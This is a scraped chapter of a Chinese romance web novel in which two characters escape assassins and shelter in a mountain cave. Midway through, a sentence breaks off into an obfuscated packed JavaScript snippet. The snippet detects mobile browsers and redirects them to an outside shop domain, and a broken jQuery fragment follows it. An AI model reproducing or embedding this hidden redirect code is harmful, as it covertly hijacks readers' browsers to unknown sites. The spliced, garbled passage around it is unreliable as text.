卫莺时抬手再发一箭,又一人应声倒地。

    萧衍趁势收紧攻势,牢牢压制住剩余两名刺客。

    卫莺时趁机朝着断刀刺客射去,不料她身法极灵,竟用半截断刀格开箭矢,断裂的箭簇擦着她颈侧掠过,立刻渗出血线。

    那人抬手用手背一抹伤口,衣袖顺势下滑,腕间露出一只漆黑镯子,方才那点冷光,正是镯上镶嵌的云母碎片的反光。

    就在此时,又一批追兵闻声围了上来。

    卫莺时眼角扫到一截裸露木桩,飞快扫过树轮辨明方位,当即上前几步,一把拽住萧衍:“走!”

    跑了几步,眼前是处断坡,黑沉沉的,看不出底下到底多深。

    追兵已近,卫莺时拉着他,顺势往坡下滚去。

    萧衍下意识将她紧紧护在怀里,一手牢牢护住她的后脑。

    还好这处土坡不算陡峭,落地之后卫莺时立刻拉着他滚进一处窄小洞窟,随手扯过藤蔓遮住洞口。

    天色已彻底黑透,上方之人看不清山坡深浅,只搬来大石往下砸。

    通过落石声推断着深浅。

    火把陆续点燃,火光将山林照得通明。

    山洞狭长,高度约莫只有半米高。

    卫莺时被他结结实实压在身下,动弹不得,只得凑在他耳边轻声问:

    “援兵大概什么时候能到?”

    温热气息拂过耳畔,萧衍浑身紧绷的神经骤然一酥。

    他轻咳了一声:“说不准。”

    卫莺时在他身下挣扎了片刻,难受得很,“你能不能先从我身上下去?”

    萧衍一手扣住她的肩,铁钳一般。

    “别动。”

    卫莺时被压得有些喘不过气,小声埋怨:“萧衍,看不出来你还挺沉。”

    她伸手扶在他臂间,指尖忽然触到一片黏腻,这才发觉他的大臂处像是被刀尖划伤。

    “你什么时候受的伤?”

    萧衍口中渐渐涌上血腥,他咬着牙道:“我没事。”

    “我比你轻,要不换我在上面?”

    洞窟里一片漆黑,若是有光,卫莺时定能看见他耳尖早已通红一片。

    两人一时都没再说话。

    外头陆续传来脚步声,那些蒙面人已顺着山坡跳了下来,在暗处细细搜寻。

    好在洞口藏在古树树根之下,又极为狭窄,一时并未被人察觉。

    不多时,那为首的蒙面人停在一片草叶前,蹲下身。卫莺时的心瞬间提到了嗓子眼。

    “首领,有发现?”手下低声问。

    “没有。”那声音竟是女子。

    她不动声色地擦去草叶上的血迹,缓缓站起身。

    这一幕恰好被洞窟里的卫莺时看在眼里。

    等人影走远,后头跟上的追兵一挥手,低喝一声:“散开搜!”

    一道道黑影迅速没入山林各处。

    ……

    卫莺时趁外头声响稍歇,猛地一把将他推开,翻身干脆利落地压了上去。

    “受不了了,你也太沉了。”她挣脱束缚,伏在他胸前大口大口地喘着气。

    洞穴本就一人宽窄,堪堪只容两人贴身躺卧。

    山中夜色一沉,四下顿时又黑又静。

    萧衍身上带伤,两人都不敢贸然出去。

    夜里山风刺骨,卫莺时穿得单薄,不多时便控制不住地浑身发颤。

    可萧衍却浑身燥热得厉害。

    她整个人压在他小腹上,柔软的身子像团温软的水雾,密密实实地贴过来。

    洞里漆黑一片,只有几缕微弱月光漏进来,她身上那股淡淡的蔷薇冷香,一缕缕往他鼻间钻,扰得他心旌凌乱。

    “别乱动!”

    “萧衍……你……”

    卫莺时忽然察觉到他身体不对劲,刚想撑着手挪开,远处追兵的脚步声竟又折返了回来。

    她只能僵着身子稍稍调整了下姿势,这一动,反倒更让人难堪。

    “别乱动,求你了。”萧衍的声音哑得厉害。

    她像只受惊的小兽,再次往下滑了一点,随着脚步声越来越近,她不敢再动。

    两人身上都沾了泥浆露水,她衣裳本就单薄,浸水后紧紧贴在身上,几乎与无物无异。

    “这两个人怎么平白就消失了?”

    阿玥不动声色地开口:“此地山兽多,他们半夜在山里乱闯,也活不成。”

    “方才跑了几个,怕是已经回去报信了,咱们得赶紧撤。”

    “你说那三个废物?早被我的人解决了。”

    卫莺时的心脏猛地一跳,手指死死攥住萧衍的衣襟。

    萧衍甚至能感受到她胸腔之内心脏剧烈的跳动。

    他在黑暗中轻轻覆上她的手,安抚般地握住。

    “首领,现在怎么办?”

    “他们不是普通人,一夜不归,山下必定会派人搜山。”阿玥深吸了一口气,“趁早撤退。”

    “阿玥,你在王城里待了这些日子,怎么反倒胆小了?你不要你阿爹的命了?”

    阿玥不再多言,直接吹了声哨子下令:“日后有的是机会。何况这山里夜里不太平,我的人已经折了八个,今夜不能再耗。”

    那人思考了片刻,觉得她说的有理,“听你的,咱们先下山。”

    一行人脚步声渐渐远去,彻底消失在山林深处。

    两人又屏息等了足足半个时辰,才从狭窄洞口慢慢爬出来。

    卫莺时浑身沾满泥水,难受得紧,当即点燃一支火折子,领着萧衍

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788108|210247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去找能暂时落脚的地方。

    四周狼嚎此起彼伏,听得人头皮发麻。

    幸好不远处有个稍大些的山洞,她刚走到洞口,身后的萧衍忽然一声不吭地栽倒在地。

    她慌忙举着火光凑近一看,伤口竟已溢出黑血。

    刀上有毒。

    她咬着牙费力把他拖进洞内,权衡片刻,还是在洞口点起了火堆。

    前几日刚下过雨,山洞深处还积着一洼清水。

    她一时辨不出是何种毒,只能先在周围采了些常见的解毒草药,在掌心揉烂敷在他伤口上,又喂他服下一颗随身带的解毒丹。

    做完这一切,她才筋疲力尽地脱下外衫,在积水中拧去污泥,凑到火堆旁烘烤。

    萧衍服了药,意识依旧模糊,视线涣散间,只看见火堆旁的卫莺时。

    她身上只余下一件贴身小衣与长裤,裸露在外的蝴蝶骨纤细精致,腰肢纤细,堪堪一握。

    他艰难地活动了一下手臂。

    卫莺时听见动静,立刻转过身:“你醒了?”

    “你……先把衣服穿上。”他声音干涩。

    “都什么时候了,还顾这个?我这不穿着呢。”

    她说着,伸手便要去解他衣带,“你身上也湿透了,要不要脱下来一起烤干?”

    萧衍大惊失色,按住她乱动的手,“我不用。”

    卫莺时拧着眉,有些委屈地将手收了回来,“还好伤口不深,孟罍果然有些本事,他给的丹药还算管用。”

    卫莺时脸颊微微发红,不知是被火烤的,还是旁的缘故。

    “我好困,你醒了就去洞口守一会儿……”

    话音刚落,她身子一软,直接栽倒进了他怀里。

    萧衍伸手一探她额头,竟烫得吓人。

    “卫莺时,你怎么了?”

    卫莺时恍惚间听见了他急切的声音,喃喃道:“没事,只是着凉……”

    说着下意识地往他怀里钻了钻。

    萧衍放松了肩膀,将她抱在怀中。

    卫莺时骨骼纤细,曲线柔和,每一处都生得恰到好处,触手的皮肤一片温软,像一块上好的羊脂白玉。

    萧衍已经神游天外,片刻之后狠狠在腿上掐了一把,心头暗骂:都什么时候了,还在胡思乱想!

    他强行压下翻涌的心绪,把她抱到干草上躺好,取过烤干的衣裳,将她整个人裹严实了,紧紧抱在怀里。

    萧衍将火堆中的柴减了一半,左耳侧抵着石壁,待到子时,他透过石壁隐约听见远处传来的脚步震动。

    他睁开眼睛,用湿衣盖住火堆,握紧刀柄,整个人绷紧如同一张满弓。

    远远地,火光星星点点,在密林的罅隙中出现。

    “沈先生!卫姑娘!”